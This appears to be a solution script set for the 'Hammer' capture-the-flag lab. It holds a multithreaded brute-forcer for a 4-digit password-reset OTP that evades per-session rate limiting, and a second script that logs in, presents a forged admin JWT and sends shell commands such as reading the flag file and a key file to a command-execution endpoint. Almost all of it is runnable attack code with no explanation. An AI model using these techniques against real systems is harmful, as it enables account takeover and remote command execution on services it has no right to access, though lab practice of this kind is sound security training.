Hammer

import random
import requests
import threading

# Endpoint. Change the IP!
ip = "10.201.16.240"
port = "1337"
endpoint = "reset_password.php"

# Headers
headers = {
    "Host": f"{ip}:{port}",
    "Accept-Language": "en-US,en;q=0.9",
    "Origin": f"http://{ip}:{port}",
    "Content-Type": "application/x-www-form-urlencoded",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": f"http://{ip}:{port}/{endpoint}",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive"
}

# Terminal Colors. Replace with print if this doesn't work
def print_red(text): print(f"\033[91m {text}\033[00m")
def print_green(text): print(f"\033[92m {text}\033[00m")

# Checks if we're on the OTP page
def is_otp_page(session):
    email = { "email": "tester@hammer.thm" }
    response = session.post(f"http://{ip}:{port}/{endpoint}", data=email, headers=headers, allow_redirects=True)
    return "Enter Recovery Code" in response.text

# Checks if brute-force attempt has failed
def otp_failed(response):
    return "Invalid or expired recovery code!" in response.text

# Submits OTP to page
def submit_otp(session, otp):
    recovery_code = { 
        "recovery_code": otp, 
        "s": 180
    }
    
    response = session.post(f"http://{ip}:{port}/{endpoint}", data=recovery_code, headers=headers, allow_redirects=True)
    return response

# Attempts an OTP
def attempt_otp():
    MAX_ATTEMPTS = 5

    while True:
        session = requests.Session()

        if is_otp_page(session):
            for attempt in range(0, MAX_ATTEMPTS):
                otp = "{num:0{width}}".format(num=random.randint(0, 9999), width=4)
                response = submit_otp(session, otp)

                if otp_failed(response):
                    print_red(f"{session.cookies.get_dict()}. Failed attempt {attempt}.")
                else:
                    print_green("Succeeded")
                    print(response.text)
                    print(session.cookies.get_dict())
                    break
        else:
            print_red("Did not reach OTP page. Check IP address or code.")

# Main program
def main():
    MAX_THREADS = 40
    threads = []

    print_green(f"Beginning OTP brute forcing. Creating {MAX_THREADS} threads.")

    # Create MAX_AMOUNT threads
    for num in range(1, MAX_THREADS+1):
        thread = threading.Thread(target=attempt_otp)
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

main()

import json
import requests

# Password we changed (reset) to after the OTP brute forcing
password = "1"

# Endpoint
ip = "10.201.97.74"
port = "1337"
endpoint = "execute_command.php"

# Terminal Colors. 
# If this doesn't work just replace instances of print_red and print_green with a regular print statement
def print_red(text):
 print(f"\033[91m {text}\033[00m")

def print_green(text):
    print(f"\033[92m {text}\033[00m")

# Login to the dashboard
def login(session):
    login = {
        "email": "tester@hammer.thm",
        "password": password
    }

    headers = {
        "Host": f"{ip}:{port}",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": f"http://{ip}:{port}",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": f"http://{ip}:{port}/index.php",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive"
    }

    response = session.post(f"http://{ip}:{port}", data=login, headers=headers, allow_redirects=True)

    return "Welcome, Thor!" in response.text

# Execute command
def execute_command(session, cmd):
    # JWT Token
    # token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYyNDgwMTA3LCJleHAiOjE3NjI0ODM3MDcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.yCRsecgno06idmlNZJS4Z4oUirIVRi5MLEaVAQud7RE"
    token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii4vMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYyNDgwMTA3LCJkYXRhIjp7InVzZXJfaWQiOjEsImVtYWlsIjoidGVzdGVyQGhhbW1lci50aG0iLCJyb2xlIjoiYWRtaW4ifX0.oTbePXqLEJFD6VdhYTlJB8i-TY_5rPlqR5Tj4FknhFo"

    headers = {
        "Host": f"{ip}:{port}",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": f"http://{ip}:{port}",
        "Content-Type": "application/json",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": f"http://{ip}:{port}/{endpoint}",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Authorization": "Bearer" + token
    }

    command = {
        "command": cmd
    }

    print(f"Executing command '{cmd}'")
    response = session.post(f"http://{ip}:{port}/{endpoint}", data=json.dumps(command), headers=headers, allow_redirects=False)
    print(response.json())

def main():
    session = requests.Session()

    print_green("Attempting to log in...")
    
    if login(session):
        print_green("Successfully logged in")
        # execute_command(session, "ls")
        # execute_command(session, "whoami")
        # execute_command(session, "pwd")
        # execute_command(session, "cat 188ade1.key")
        execute_command(session, "cat /home/ubuntu/flag.txt")
    else:
        print_red("Failed to login. Check if password is correct.")

main()